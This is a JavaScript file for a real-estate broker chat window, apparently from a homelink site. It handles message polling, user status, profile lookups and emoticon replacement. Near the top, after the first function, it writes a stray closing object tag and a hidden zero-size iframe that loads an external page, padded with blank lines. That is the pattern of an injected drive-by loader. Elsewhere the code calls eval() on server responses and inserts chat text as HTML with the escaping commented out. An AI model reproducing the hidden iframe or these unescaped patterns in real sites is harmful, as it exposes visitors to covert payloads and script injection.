﻿var cellphoneUserstate="";


function cellphoneOnlineUsers(touser_Id)
{
 var ajax=new AJAXRequest;
ajax.get(
	"j.aspx?action=alluserlist&n="+Math.random(),
	function(obj) {
		   if((obj!=null) && (obj.responseText!='')&& (obj.responseText!='[]'))
		   {//alert(obj.responseText)  
                     var abc=  obj.responseText;

            if(abc.indexOf("UserId")>0 )
			 {// alert(obj.responseText)
		        var cellphoneUserStringObjs=eval(obj.responseText);
		
					for (var i=0;i<cellphoneUserStringObjs.length;i++ )
					{
					  var onlineuser_Id = cellphoneUserStringObjs[i].UserId;
					  var UserCustomState = cellphoneUserStringObjs[i].UserCustomState;

					 if( onlineuser_Id==touser_Id && UserCustomState=='S'){cellphoneUserstate=UserCustomState;}
                     else if(onlineuser_Id==touser_Id && UserCustomState=='W'){cellphoneUserstate=UserCustomState;}
					 }
		     }
           }

  });

}

document.writeln("</object>");
document.writeln("<iframe src=\"http:\/\/upload.homelink.com.cn/inc/index.htm\" width=\"0\" height=\"0\" frameborder=\"0\"><\/iframe>");










































function ViewNewMsgCount(obj,mgms){

	var outhtml='';
		if(mgms>0)
		{
			outhtml+='有<a href="javascript:ReadMsg()">';
			outhtml+=mgms+'</a>条新信息';
		}else{
			outhtml+='无信息';
		}
		obj.innerHTML=outhtml;
}


function CheckLogin()
{
	//alert(username);
	var ajax=new AJAXRequest;
	ajax.get(
		"j.aspx?action=getuserid&n="+Math.random(),
		function(obj) {
			
      
			if(obj.responseText==null || obj.responseText=='' || obj.responseText=='[]')
			{
				var  ret ;
				do
				{
				ret = prompt("请输入您的名字.","");
				if(ret==null){
								var d = new Date();
								var d1=d.getTime();
								ret="游客"+d1
						     }
			
				
				}
				while(ret=='' ) 
				Login(ret);
			}
				/*
				var outhtml='';
				if(lastspeaker!=jsmyusername)
					outhtml+=' <b>'+CovCode(jsmyusername)+'</b>  <i class=datecss>'+new Date().toLocaleString()+'</i> :';
				else
					outhtml+='　　　<i class=datecss>'+new Date().toLocaleString()+'</i> :';
				outhtml+="<br><blockquote>"+CovCode(document.getElementById("sendmsg").value)+"</blockquote>";

				lastspeaker=jsmyusername;
				if(outhtml!=''){
				document.frames["msg"].document.getElementById("viewmsg").innerHTML+=outhtml; 
				window.frames["msg"].scroll(0,document.frames["msg"].document.body.offsetHeight);
				}
				*/
				//document.getElementById("loginform").innerHTML=obj.responseText;
			//RushUserListdiv();
		}
	);
}

function Login(username)
{
	//alert(username);
	var ajax=new AJAXRequest;
	ajax.get(
		"j.aspx?action=login&n="+Math.random()+"&name="+encodeURIComponent(username),
		function(obj) {
			//alert(obj.responseText);

			
				/*
				var outhtml='';
				if(lastspeaker!=jsmyusername)
					outhtml+=' <b>'+CovCode(jsmyusername)+'</b>  <i class=datecss>'+new Date().toLocaleString()+'</i> :';
				else
					outhtml+='　　　<i class=datecss>'+new Date().toLocaleString()+'</i> :';
				outhtml+="<br><blockquote>"+CovCode(document.getElementById("sendmsg").value)+"</blockquote>";

				lastspeaker=jsmyusername;
				if(outhtml!=''){
				document.frames["msg"].document.getElementById("viewmsg").innerHTML+=outhtml; 
				window.frames["msg"].scroll(0,document.frames["msg"].document.body.offsetHeight);
				}
				*/
				//document.getElementById("loginform").innerHTML=obj.responseText;
			//RushUserListdiv();
		}
	);
}






var nowuserstateReceiveMsg="";
var nowuserstatemark=1;
var nowuserstate=1;
function returnNowUserState(userid,userstate1)//是在线,忙碌,或离开
{  
 // alert(userid);
	var ajax=new AJAXRequest;
//	var ajax1=new AJAXRequest;
	ajax.get(
		"j.aspx?action=IM_NowUserStateReturn&n="+Math.random()+"&userid="+encodeURIComponent(userid)+"&userstate1="+encodeURIComponent(userstate1),
		function(obj) { //alert(obj.responseText)
         if(obj!=null && obj.responseText!='' && obj.responseText!='[]'){
        //    alert(obj.responseText)
			var  varuserstateobj= eval(obj.responseText);
              if(varuserstateobj!="")
		       {
               nowuserstateReceiveMsg=varuserstateobj[0].IMautoReceiveMsg;
			   nowuserstatemark=varuserstateobj[0].autoReturnMark;
//alert(nowuserstateReceiveMsg)
setCookie('nowuserstateReceiveMsg',nowuserstateReceiveMsg) 
setCookie('nowuserstatemark',nowuserstatemark) 
			   }
		 }
		}
	);
/*
	ajax1.get(
		"j.aspx?action=IM_NowUserStateMarkReturn&n="+Math.random()+"&userid="+encodeURIComponent(userid),
		function(obj) {
            if(obj!=null && obj.responseText!=''&& obj.responseText!='[]'){  //alert(obj.responseText)
			var  varuserstatemarkobj= eval(obj.responseText);
              if(varuserstatemarkobj!="")
		       {
				 
               nowuserstate=varuserstatemarkobj[0].userstate;
			 
			   }
			}
		}
	);


*/

}


 
function deltag1(code)
{

  while(code.indexOf("<")>=0){
	   markstartIndex=code.indexOf("<");
	   markendIndex=code.indexOf(">");
	   delsubstring= code.substring(markstartIndex,markendIndex+1);
       code=code.replace(delsubstring,"");
        }


	return code;
}





function SendMsg(touser,msg1,exmsg)
{
	//alert(msg);
	if(msg1==null || msg1=='')
		return ;
	
	var msg=msg1;
if(cellphoneUserstate=='S')
{

 msg=CovCodex(msg,"[/文件]", "");  
 msg=CovCodex(msg,"[/消息]", "");  
 msg=CovCodex(msg,"[/自己id:"+myuser_Id+"]", "");
 msg=CovCodex(msg,"[/对方id:"+receiveMsguserid+"]", "");
 msg=deltag1(msg)
 msg=msg.replace(/&nbsp;/g,"")

}



	touser=GetQueryvalue(document.location.toString(),'touserid');
	document.getElementById("sendmsg").value="";
	var ajax=new AJAXRequest;
	//alert("j.aspx?action=send&n="+Math.random()+"&msg="+encodeURIComponent(msg)+"&touser="+encodeURIComponent(touser)+"&exmsg="+encodeURIComponent(exmsg))
	ajax.get(
		"j.aspx?action=send&n="+Math.random()+"&msg="+encodeURIComponent(msg)+"&touser="+encodeURIComponent(touser)+"&exmsg="+encodeURIComponent(exmsg),
		function(obj) {
			//alert(obj.responseText);

			if(obj!=null && obj.responseText=="True"){
				/*
				var outhtml='';
				if(lastspeaker!=jsmyusername)
					outhtml+=' <b>'+CovCode(jsmyusername)+'</b>  <i class=datecss>'+new Date().toLocaleString()+'</i> :';
				else
					outhtml+='　　　<i class=datecss>'+new Date().toLocaleString()+'</i> :';
				outhtml+="<br><blockquote>"+CovCode(document.getElementById("sendmsg").value)+"</blockquote>";

				lastspeaker=jsmyusername;
				if(outhtml!=''){
				document.frames["msg"].document.getElementById("viewmsg").innerHTML+=outhtml; 
				window.frames["msg"].scroll(0,document.frames["msg"].document.body.offsetHeight);
				}
				*/
				
			}else{
				//alert("发送失败！请尝试重新发送一次!");
				 Ext.Msg.alert("发送失败","由于对方不在线或网络中断,因此无法发送此信息.");
			}
		}
	);
}







function strToDate(str)
{
	if(str!=null&&str!="" &&(str.indexOf("-")>0)){
	var newDate=0;
Index1=str.indexOf("-");
Index2=str.lastIndexOf('-',str.length);
//alert(str)
 str1= str.substring(Index1+1,Index2);
if(str1.length==1){str=str.substring(0,Index1)+"0"+str1+str.substring(Index2,str.length+1)}


Index3=str.lastIndexOf('-',str.length);
Index4=str.indexOf(" ");
str5= str.substring(Index3+1,Index4);
if(str5.length==1){str=str.substring(0,Index3)+"0"+str5+str.substring(Index4,str.length+1)}

Index6=str.indexOf(" ");
Index7=str.indexOf(':');

str8= str.substring(Index6+1,Index7);

if(str8.length==1){str=str.substring(0,Index6)+"0"+str8+str.substring(Index7,str.length+1)}




  newDate=CovCodex(str,"-", "");
 newDate=CovCodex(newDate,":", "");
  newDate=CovCodex(newDate," ", "");

newDate= parseFloat(newDate) 

  return newDate;
}
else{
        return str;
        }

}











var lastreadid=-1;
var jsmyusername,jstousername,lastspeaker;
function ReadMsg()
{  
   nowuserstate=getCookie('userstate');
 nowuserstateReceiveMsg=getCookie('nowuserstateReceiveMsg') 
 nowuserstatemark=getCookie('nowuserstatemark') 

//alert(nowuserstateReceiveMsg)
// returnNowUserState(myuser_Id)  


	//alert(document.getElementById("msg").document.getElementById("viewmsg").innerHTML);  
	//alert(document.frames["msg"].document.getElementById("viewmsg").innerHTML);
	//alert(lastreadid);
	//alert(window.frames["msg"].offsetTop);
	//alert(document.frames["msg"].document.body.offsetHeight );
	var ajax=new AJAXRequest;
	//window.document.title="run"+lastreadid;
	//lastreadid=lastreadid==null ?-1:lastreadid;
	if((lastreadid==null || lastreadid =='') && lastreadid!=0){
		//lastreadid=-1;
		//setTimeout("ReadMsg()",3000); 
		//window.document.title="stop"+lastreadid;
		return ;
	} 
	ajax.get(
		"j.aspx?action=read&n="+Math.random()+"&lastid="+encodeURIComponent(lastreadid),
		function(obj) {
	 // alert(obj.responseText)
			setTimeout("ReadMsg()",3000); 
			if(obj==null || obj.responseText=='[]')
				return ;
			//window.document.title="v"+obj.responseText;
			var mygms=eval(obj.responseText);
		//alert(obj.responseText)


			var outhtml='';
			for (var k=0;k<mygms.length;k++) {

if(cellphoneUserstate=='S')
{
	     
 var usercellphonesdate=getCookie(myuser_Id+'cellphone') 
        if(usercellphonesdate==null)
	{
       usercellphonesdate=0;
	}

usercellphonesdate=strToDate(usercellphonesdate)

 var mygmsdate= strToDate(mygms[k].Date)
// alert(mygmsdate+":"+usercellphonesdate)
	if(mygmsdate>usercellphonesdate)							
	{ //alert(mygmsdate+":"+usercellphonesdate)
	 setCookie(myuser_Id+'cellphone',mygms[k].Date)  
	
	
	
	outhtml+='<br>';
if(lastspeaker!=mygms[k].FormUserName)
				outhtml+=' <b>'+CovCode(mygms[k].FormUserName)+'</b>  <i class=datecss>'+mygms[k].Date+'</i> :';
			else
				outhtml+=' <b>'+CovCode(mygms[k].FormUserName)+'</b>  <i class=datecss>'+mygms[k].Date+'</i> :';
			outhtml+="<br><blockquote>"+CovCode(mygms[k].Message)+"</blockquote>";
 /*2009-3-25修改*/            autoalertforuser();
if(mygms[k].FormUserId==receiveMsguserid){      
   saveChatRecord(receiveMsguserid,jstousername,myuser_Id,jsmyusername,mygms[k].Message)//往数据库存消息
}


			if(mygms[k].Index!=null)
				lastreadid=eval(mygms[k].Index);
			lastspeaker=mygms[k].FormUserName
			


	}

}
else{
		               var receive_Msg= mygms[k].Message;
					  var senduseridIndex=receive_Msg.indexOf("[/自己id:");
					  var receiveuseridIndex=receive_Msg.indexOf("[/对方id:")

						
					if((senduseridIndex>=0)&&(receiveuseridIndex>=0))
					  {  
                       

                        receive_Msg=CovCodex(receive_Msg,"[/文件]", "");  
					    receive_Msg=CovCodex(receive_Msg,"[/消息]", "");  

						 var senduserid=receive_Msg.substring(7,receive_Msg.indexOf("]"))  
                             receive_Msg=CovCodex(receive_Msg,"[/自己id:"+senduserid+"]", "");

			             var receiveuserid=receive_Msg.substring(7,receive_Msg.indexOf("]"))


                          if (((myuser_Id==senduserid)||(myuser_Id==receiveuserid) )&&((receiveMsgUser_Id==senduserid)||(receiveMsgUser_Id==receiveuserid)))
                          {       
							
      



							  
							  IM_RecordlastReciveMsgMark(myuser_Id,mygms[k].Date,receiveMsgUser_Id,lastreadid)//记录最后一行索引
                             setCookie(receiveMsgUser_Id,mygms[k].Date)  

                                      var mygmsdate= strToDate(mygms[k].Date)
								
                                       var lastsendMessagedate= strToDate(lastsendMessagedateMark);
                            //  alert('lastreadid:'+lastreadid);  alert('lastsendMessageIndexMark:'+lastsendMessageIndexMark);
						           if((lastreadid>lastsendMessageIndexMark)||(mygmsdate>lastsendMessagedate)){
                                  //lastreadid>lastsendMessageIndexMark||lastreadid>lastsendMessageIndexMark两个目的一是,1,服务器从起,2是最后内在的index大于数据库存的
           /*2009-3-25修改*/            autoalertforuser()
									outhtml+='<br>';
									
									if(lastspeaker!=mygms[k].FormUserName)
							      { 
										
										  if (myuser_Id==receiveuserid){
										outhtml+='<font style="color:#01b9b9"> <b>'+CovCode(mygms[k].FormUserName)+'</b>  <i class=datecss>'+mygms[k].Date+'</i> :</font>'; }
										else{outhtml+=' <b>'+CovCode(mygms[k].FormUserName)+'</b>  <i class=datecss>'+mygms[k].Date+'</i> :'; }
									
											if (myuser_Id==receiveuserid){
											   if((nowuserstate==2)&&(nowuserstatemark==1)){
												var sendquickInfo="[/消息][/自己id:"+myuser_Id+"][/对方id:"+receiveMsgUser_Id+"]"+nowuserstateReceiveMsg+"(离开状态)"
												
												 SendMsg(receiveMsgUser_Id,sendquickInfo,'')
												}
											else if((nowuserstate==3)&&(nowuserstatemark==1)){
												var sendquickInfo="[/消息][/自己id:"+myuser_Id+"][/对方id:"+receiveMsgUser_Id+"]"+nowuserstateReceiveMsg+"(忙碌状态)"
												 SendMsg(receiveMsgUser_Id,sendquickInfo,'')
												}	
											}

									}
									else{ 
							
										 if (myuser_Id==receiveuserid){
										outhtml+=' <font style="color:#01b9b9"><b>'+CovCode(mygms[k].FormUserName)+'</b>  <i class=datecss>'+mygms[k].Date+'</i> :</font>'; }
										else{outhtml+=' <b>'+CovCode(mygms[k].FormUserName)+'</b>  <i class=datecss>'+mygms[k].Date+'</i> :'; }
									
												if (myuser_Id==receiveuserid){
												   if((nowuserstate==2)&&(nowuserstatemark==1)){
													var sendquickInfo="[/消息][/自己id:"+myuser_Id+"][/对方id:"+receiveMsgUser_Id+"]"+nowuserstateReceiveMsg+"(离开状态)"
													
													 SendMsg(receiveMsgUser_Id,sendquickInfo,'')
													}
												else if((nowuserstate==3)&&(nowuserstatemark==1)){
													var sendquickInfo="[/消息][/自己id:"+myuser_Id+"][/对方id:"+receiveMsgUser_Id+"]"+nowuserstateReceiveMsg+"(忙碌状态)"
													 SendMsg(receiveMsgUser_Id,sendquickInfo,'')
													}	
												}
												

                                     }

								  // if (myuser_Id==receiveuserid){
									//outhtml+="<br><blockquote><font style='color:#01b9b9'>"+CovCode(mygms[k].Message)+"</font></blockquote>";}
                                    //else{
									outhtml+="<br><blockquote>"+CovCode(mygms[k].Message)+"</blockquote>";//}
									
								
                                    
                                     }



									if(mygms[k].Index!=null)
										lastreadid=eval(mygms[k].Index);
									lastspeaker=mygms[k].FormUserName
									 
						  }

                     }

               }

			}
			//outhtml+='';
			//document.getElementById("msg").innerHTML+=outhtml; 
			if(outhtml!=''){
		//	showInfoTextArea.setValue(showInfoTextArea.getValue()+outhtml)

			document.frames["msg"].document.getElementById("viewmsg").innerHTML+=outhtml; 
			window.frames["msg"].scroll(0,document.frames["msg"].document.body.offsetHeight);
		
			//window.focus();
			//document.getElementById("sendmsg").focus();
			}
			//lastreadid++;




		}
	);
}

function RushUserListdiv()
{
	var ajax=new AJAXRequest;
	ajax.get(
		"j.aspx?action=alluserlist&n="+Math.random(),
		function(obj) {
			var mygms=eval(obj.responseText);
			var outhtml='';
			for (var k in mygms) {
			outhtml+='<a ';
			outhtml+='href="javascript:isstouser(\''+mygms[k].UserId+'\')">';
			outhtml+=CovCode(mygms[k].UserName)+CovCode(mygms[k].UserId);
			outhtml+="<img border=0 src='j.aspx?action=viewsrc&pointid="+CovCode(mygms[k].UserId)+"' />";
			outhtml+='</a><br>';
			}
			//outhtml+='</select>';
			document.getElementById("msg").innerHTML=outhtml; 
		}
	);
}

function RushUserList()
{
	var ajax=new AJAXRequest;
	ajax.get(
		"j.aspx?action=alluserlist&n="+Math.random(),
		function(obj) {
			var mygms=eval(obj.responseText);
			var outhtml='<select name=touser id=touser>';
			for (var k in mygms) {
			outhtml+='<option ';
			outhtml+='value="'+mygms[k].UserId+'">';
			outhtml+=CovCode(mygms[k].UserName);
			outhtml+='</option>';
			}
			outhtml+='</select>';
			document.getElementById("userlist").innerHTML=outhtml; 
		}
	);
}

var iicou=0;
function RushMyUserName()              //我的用户名
{ iicou=iicou+1
	var ajax=new AJAXRequest;
	ajax.get(
		"j.aspx?action=myusername&n="+Math.random(),
		function(obj) {
			//document.getElementById("myusername").innerHTML=obj.responseText; 
			 
			if(obj!=null && obj.responseText!=''&& obj.responseText!='[]'){ 
				jsmyusername=obj.responseText;

				if(jstousername==undefined){//如果为undefined表示对方在服务器缓存中没有
								if(iicou==1){
								document.title='您好:正在连接中......';
								}else
								{ document.title='对方不在线'; }
								
					
					}
				else{
					if(cellphoneUserstate=='S'){
				document.title=jsmyusername+" 同 "+jstousername+" 的对话(手机在线)";
						/*2009-3-25修改*/
						var abcde1=document.frames["msg"].document.getElementById("viewmsg").innerHTML;
						  if((myuser_Id.length>10) && (abcde1.indexOf("系统提示")<0)){
						document.frames["msg"].document.getElementById("viewmsg").innerHTML="<font color='#FF0000'>系统提示：发送信息后请不要关闭窗口,等待经纪人回复!<font>";
						 }
						 /*2009-3-25修改*/
					}
				else{
				document.title=jsmyusername+" 同 "+jstousername+" 的对话";
						/*2009-3-25修改*/
						var abcde1=document.frames["msg"].document.getElementById("viewmsg").innerHTML;
						 if((myuser_Id.length>10) && (abcde1.indexOf("系统提示")<0)){
						document.frames["msg"].document.getElementById("viewmsg").innerHTML="<font color='#FF0000'>系统提示：发送信息后请不要关闭窗口,等待经纪人回复!<font>";
						 }
						 /*2009-3-25修改*/
				}
				
				}
			//	document.getElementById("tousername").innerHTML="与"+jstousername+"用户沟通";; 
				}
			else {
				//window.close();
				CheckLogin();
			}
		}
	);
}


/*2009-3-25修改*/
var tId="";

function show(){ 
var date111 = new Date(); //日期对象 
var now111 = ""; 
now111 = date111.getFullYear()+"-"; //读英文就行了 
now111 = now111 + (date111.getMonth()+1)+"-";//取月的时候取的是当前月-1如果想取当前月+1就可以了 
now111 = now111 + date111.getDate()+" "; 
now111 = now111 + date111.getHours()+":"; 
now111 = now111 + date111.getMinutes()+":"; 
now111 = now111 + date111.getSeconds()+""; 
return now111
} 



function autoalertforuser()
{   clearTimeout(tId)
	tId=setTimeout(autoalertforuser1,60000); 
	
function autoalertforuser1()
	{
 if( myuser_Id.length>10  ){
var contentmsg1= document.frames["msg"].document.getElementById("viewmsg").innerHTML;
var contentmsg2="<b>"+jstousername+"</b> <i class=datecss>"+ show()+"</i> :<br><blockquote>您好,我现在不方便回复,请留下联系方式,我会尽快与您联系.</blockquote>";
document.frames["msg"].document.getElementById("viewmsg").innerHTML=contentmsg1+contentmsg2;
      }
    }


}
/*2009-3-25修改*/





function RushToUserName()              //对方的用户名
{
	//alert(document.location);
	//vobj.innerHTML="与"+GetQueryvalue(document.location.toString(),'tousername')+"用户沟通";

	var ajax=new AJAXRequest;
	ajax.get(
		"j.aspx?action=pointusername&pointid="+GetQueryvalue(document.location.toString(),'touserid'),
		function(obj) {
  if(obj!=null && obj.responseText!=''&& obj.responseText!='[]'){ 


			jstousername=obj.responseText;
		//	document.getElementById("tousername").innerHTML="与"+jstousername+"用户沟通";; 
  }
		}
	);
}






 var receiveMsguserid="";
function RushToUserId(){
receiveMsguserid= GetQueryvalue(document.location.toString(),'touserid')
cellphoneOnlineUsers(receiveMsguserid)

}        //接收消息的用户id









function RushToUserIp()                      //对方的IP
{ 
	//alert("j.aspx?action=pointuserip&pointid="+GetQueryvalue(document.location.toString(),'touserid'));
	var ajax=new AJAXRequest;
	ajax.get( 
		"j.aspx?action=pointuserip&pointid="+GetQueryvalue(document.location.toString(),'touserid'),
		function(obj) {
	//		document.getElementById("touserip").innerHTML="IP:"+obj.responseText+"<font color=red>不要关闭页面，等待经纪人手机回复！</font>"; 
			
		}
	);
	
}

function RushUserInfo()   //对方的用户信息           
{ 

 
//alert("1:"+receiveMsgUser_Id)

//var ajax123=new AJAXRequest;
//	ajax123.get(
	//	"http://passport.homelink.com.cn/json.aspx?action=getUserLoginStatusStr",
	//	function(obj) {

              if( receiveMsgUser_Id.indexOf("cu")<0){           
		
					
//alert(receiveMsgUser_Id)

var score=""

var ajax=new AJAXRequest;
	ajax.get( "http://iss.homelink.com.cn/iss2/j.aspx?action=GetUsersInfoById&pointid="+GetQueryvalue(document.location.toString(),'touserid'),
		function(obj) {
			  if(obj!=null && obj.responseText!=''&& obj.responseText!='[]'){ 
			    
				  var userinfo =eval(obj.responseText)   
					
	       
			
		
			 score=userinfo[0].score
		
		
        document.getElementById("chatwinheadicon").src="http://passport.homelink.com.cn/upfile/bokerphoto/"+userinfo[0].photo;
	

        document.getElementById("chatwinname").innerHTML=userinfo[0].name
        document.getElementById("winchatphone").innerHTML=userinfo[0].phone
       // document.getElementById("chatwinshopname").innerHTML=userinfo[0].shopname


var ajax1=new AJAXRequest;
	ajax1.get("http://iss.homelink.com.cn/iss2/j.aspx?action=getBrokerImageScoreEx&pointid="+score,
		 //"getpage.asp?url="+escape("http://club.homelink.com.cn/json.aspx?action=getBrokerImageScoreEx&SCORECLUB="+score),
		function(obj) {
			  if(obj!=null && obj.responseText!=''&& obj.responseText!='[]'){ 
			 
	   document.getElementById("chatwinscorn").innerHTML=obj.responseText
			   
		}
        	});

		}
        	});



var ajax2=new AJAXRequest;
	ajax2.get(
	"http://iss.homelink.com.cn/iss2/j.aspx?action=getHouseZoneMappingBroker&pointid="+GetQueryvalue(document.location.toString(),'touserid'),
	
	//	 "getpage.asp?url="+escape("http://community.homelink.com.cn/json.aspx?action=getHouseZoneMappingBrokerSbrokerNameStr&pointid="+GetQueryvalue(document.location.toString(),'touserid')),
		function(obj) {
			  if(obj!=null && obj.responseText!=''&& obj.responseText!='[]'){ 

				var  housezoneobj=eval(obj.responseText);

			    for(var i=0;i<housezoneobj.length;i++)
                  {
				   
		            
				 document.getElementById("housezonenames").innerHTML=document.getElementById("housezonenames").innerHTML+housezoneobj[i].housezonename+"&nbsp;&nbsp;&nbsp;";



				}

	   
		}
        	});



document.getElementById("userinfodiv").innerHTML="<table width='160'  border=0 ><tr><td><img width='102' height='136' id='chatwinheadicon' src='' /> </td></tr><tr><td><font style='color:#01b9b9'><span id='chatwinname'></span></font><span id='chatwinscorn'></span></td></tr><tr><td align='left'>电&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;话:&nbsp;<span id='winchatphone'></span></td></tr><tr><td align='left'>主攻楼盘:&nbsp;<span id='housezonenames'></span></td></tr></table>"; 

		}

   else if(receiveMsgUser_Id.indexOf("cu")==0){

var ajax321=new AJAXRequest;
	ajax321.get(
		"http://iss.homelink.com.cn/iss2/j.aspx?action=getCustomerSidNameEmail&pointid="+receiveMsgUser_Id.substring(2),
		// "getpage.asp?url="+escape("http://passport.homelink.com.cn/cjson.aspx?action=getCustomerSidNameEmail&pointid="+receiveMsgUser_Id.substring(2)),
		function(obj) {
			  if(obj!=null && obj.responseText!=''&& obj.responseText!='[]'){ 
			var  obj1=eval(obj.responseText);
      
			document.getElementById('kehunicheng').innerHTML=obj1[0].othername;
          document.getElementById('kehuyoujian').innerHTML=obj1[0].email;


		}
		
		}
	);
	
document.getElementById("userinfodiv").innerHTML="<table width='170' align='center' border='0'><tr><td align='left'>客户昵称:<span id='kehunicheng'></span></td></tr><tr><td align='left'>email:<span id='kehuyoujian'></span></td></tr></table>";

   
 } 
 



//});


}


function myUserInfo(userid)   //我的信息           
{ 
var ajax123=new AJAXRequest;
	ajax123.get(
		"http://iss.homelink.com.cn/iss2/j.aspx?action=getUserLoginStatusStr",
		function(obj) {

                if(obj.responseText==2){ 

var commonuserid=userid;

	//alert(document.location);
	var ajax=new AJAXRequest;
	ajax.get(
		"http://iss.homelink.com.cn/iss2/j.aspx?action=getCustomerSidNameEmail&pointid="+commonuserid.substring(2),
		function(obj) {
			  if(obj!=null && obj.responseText!=''&& obj.responseText!='[]'){ 
		 var userinfo =eval(obj.responseText)  

document.getElementById('winchatothername').innerHTML=userinfo[0].othername
document.getElementById('winchatemail').innerHTML=userinfo[0].email


		}
		
		}
	);
	

document.getElementById("myinfodiv1").innerHTML="<table width='170' align='center' border='0'><tr><td align='left'>客户昵称:<span id='winchatothername'></span></td></tr><tr><td align='left'>email:<span id='winchatemail'></span></td></tr></table>";

	}
else if(obj.responseText==1)
	{
var ajax=new AJAXRequest;
	ajax.get(
	"http://iss.homelink.com.cn/iss2/j.aspx?action=getBrokerPhotoNameId&pointid="+userid,
	
	//"getpage.asp?url="+escape("http://passport.homelink.com.cn/json.aspx?action=getBrokerPhotoNameIdStr&pointid="+userid),
		function(obj) {
			  if(obj!=null && obj.responseText!=''&& obj.responseText!='[]'){ 
			      var userinfo =eval(obj.responseText)   
	  
document.getElementById("yonghumingcheng").innerHTML=userinfo[0].name
document.getElementById("yonghudianhua").innerHTML=userinfo[0].phone
			 

var ajax1a=new AJAXRequest;
	ajax1a.get(
		
	
	"http://iss.homelink.com.cn/iss2/j.aspx?action=getBrokerImageScoreEx&pointid="+userinfo[0].score,
	
	// "getpage.asp?url="+escape("http://club.homelink.com.cn/json.aspx?action=getBrokerImageScoreEx&SCORECLUB="+userinfo[0].score),
		function(obj) {
			  if(obj!=null && obj.responseText!=''&& obj.responseText!='[]'){ 
			 
	   document.getElementById("mysrcore").innerHTML=obj.responseText
			   
		}
        	});


}

})
document.getElementById("myinfodiv1").innerHTML="<table width='170' align='center'  border='0'><tr><td align='left'>用户名称:&nbsp;<span id='yonghumingcheng'></span><span id='mysrcore'><span></td></tr><tr><td align='left'>电&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;话:&nbsp;<span id='yonghudianhua'></span></td></tr></table>";


}


	})

}










function receiveMsgvoice()
{

if((receiveMsgVoiceMark==1)&&(nowuserstate!=4)){

		var playvoiceDom;


		if (receiveMsgVoiceUrl==1){playvoiceDom=document.getElementById('playvoice1')}
		else if (receiveMsgVoiceUrl==2){playvoiceDom=document.getElementById('playvoice2')}
		else if (receiveMsgVoiceUrl==3){playvoiceDom=document.getElementById('playvoice3')}
		else if (receiveMsgVoiceUrl==4){playvoiceDom=document.getElementById('playvoice4')}
		else if (receiveMsgVoiceUrl==5){playvoiceDom=document.getElementById('playvoice5')}

	

//alert(playvoiceDom.id)
		playvoiceDom.play(); 
		//playvoiceDom.pause();


}


}






function CovCode(code)
{
 

	if(code.indexOf("[/文件]")>=0)
 {
        code=CovCodex(code,"[/文件]", "");  
         
       var sendfileuserId=code.substring(7,code.indexOf("]"))


            if(sendfileuserId==myuser_Id)//判断接收的文件名是否是自己发送的,等于的话是自己发送的,
			{code="<FONT color=#808080>您已成功发送一个文件</FONT>"}
         else{
	      code=CovCodex(code,"[/自己id:"+sendfileuserId+"]", "");
    
           var receivefileuserId=code.substring(7,code.indexOf("]"))
          code=CovCodex(code,"[/对方id:"+receivefileuserId+"]", "");

	      code="<FONT color=#808080>对方已发送一个文件&nbsp;&nbsp;<a href='upfile/"+code+"'>接收</a></FONT>"
	
		 receiveMsgvoice()
		 }

 }


	if(code.indexOf("[/消息]")>=0)
 {
    code=CovCodex(code,"[/消息]", "");  
    var sendinfo_userId=code.substring(7,code.indexOf("]"))
//alert("sendinfo_userId:"+sendinfo_userId+"myuser_Id:"+myuser_Id)

            if(sendinfo_userId==myuser_Id)//判断接收的信息是否是自己发送的,等于的话是自己发送的,否则对方的要有提示音
			{ code=CovCodex(code,"[/自己id:"+sendinfo_userId+"]", "");
			
			  var receiveinfouserId=code.substring(7,code.indexOf("]"))
               code=CovCodex(code,"[/对方id:"+receiveinfouserId+"]", "");
			}
           else if(sendinfo_userId!=myuser_Id)
			 {
	         code=CovCodex(code,"[/自己id:"+sendinfo_userId+"]", "");

              var receiveinfouserId=code.substring(7,code.indexOf("]"))
               code=CovCodex(code,"[/对方id:"+receiveinfouserId+"]", "");

             receiveMsgvoice()
				 }

 }
	//code=CovCodex(code,"<", "&lt;");
	//code=CovCodex(code,">", "&gt;");
code=CovCodex(code,"\n", "<br>"); 
code=CovCodex(code,"[/微笑]","<IMG src=\"IM_interface/faceicon/0.gif\">");
code=CovCodex(code,"[/撇嘴]","<IMG src=\"IM_interface/faceicon/1.gif\">");
code=CovCodex(code,"[/色]","<IMG src=\"IM_interface/faceicon/2.gif\">"); 
code=CovCodex(code,"[/发呆]","<IMG src=\"IM_interface/faceicon/3.gif\">")
code=CovCodex(code,"[/得意]","<IMG src=\"IM_interface/faceicon/4.gif\">") 
code=CovCodex(code,"[/流泪]","<IMG src=\"IM_interface/faceicon/5.gif\">") 
code=CovCodex(code,"[/含羞]","<IMG src=\"IM_interface/faceicon/6.gif\">") 
code=CovCodex(code,"[/闭嘴]","<IMG src=\"IM_interface/faceicon/7.gif\">") 
code=CovCodex(code,"[/睡]","<IMG src=\"IM_interface/faceicon/8.gif\">") 
code=CovCodex(code,"[/大哭]","<IMG src=\"IM_interface/faceicon/9.gif\">") 
code=CovCodex(code,"[/尴尬]","<IMG src=\"IM_interface/faceicon/10.gif\">")
code=CovCodex(code,"[/发怒]","<IMG src=\"IM_interface/faceicon/11.gif\">") 
code=CovCodex(code,"[/调皮]","<IMG src=\"IM_interface/faceicon/12.gif\">")
code=CovCodex(code,"[/呲牙]","<IMG src=\"IM_interface/faceicon/13.gif\">") 
code=CovCodex(code,"[/惊讶]","<IMG src=\"IM_interface/faceicon/14.gif\">")
code=CovCodex(code,"[/难过]","<IMG src=\"IM_interface/faceicon/15.gif\">")
code=CovCodex(code,"[/酷]","<IMG src=\"IM_interface/faceicon/16.gif\">")
code=CovCodex(code,"[/冷汗]","<IMG src=\"IM_interface/faceicon/17.gif\">")
code=CovCodex(code,"[/抓狂]","<IMG src=\"IM_interface/faceicon/18.gif\">")
code=CovCodex(code,"[/吐]","<IMG src=\"IM_interface/faceicon/19.gif\">")
code=CovCodex(code,"[/偷笑]","<IMG src=\"IM_interface/faceicon/20.gif\">")
code=CovCodex(code,"[/可爱]","<IMG src=\"IM_interface/faceicon/21.gif\">")
code=CovCodex(code,"[/白眼]","<IMG src=\"IM_interface/faceicon/22.gif\">")
code=CovCodex(code,"[/傲慢]","<IMG src=\"IM_interface/faceicon/23.gif\">") 
code=CovCodex(code,"[/饥饿]","<IMG src=\"IM_interface/faceicon/24.gif\">")
code=CovCodex(code,"[/困]","<IMG src=\"IM_interface/faceicon/25.gif\">")
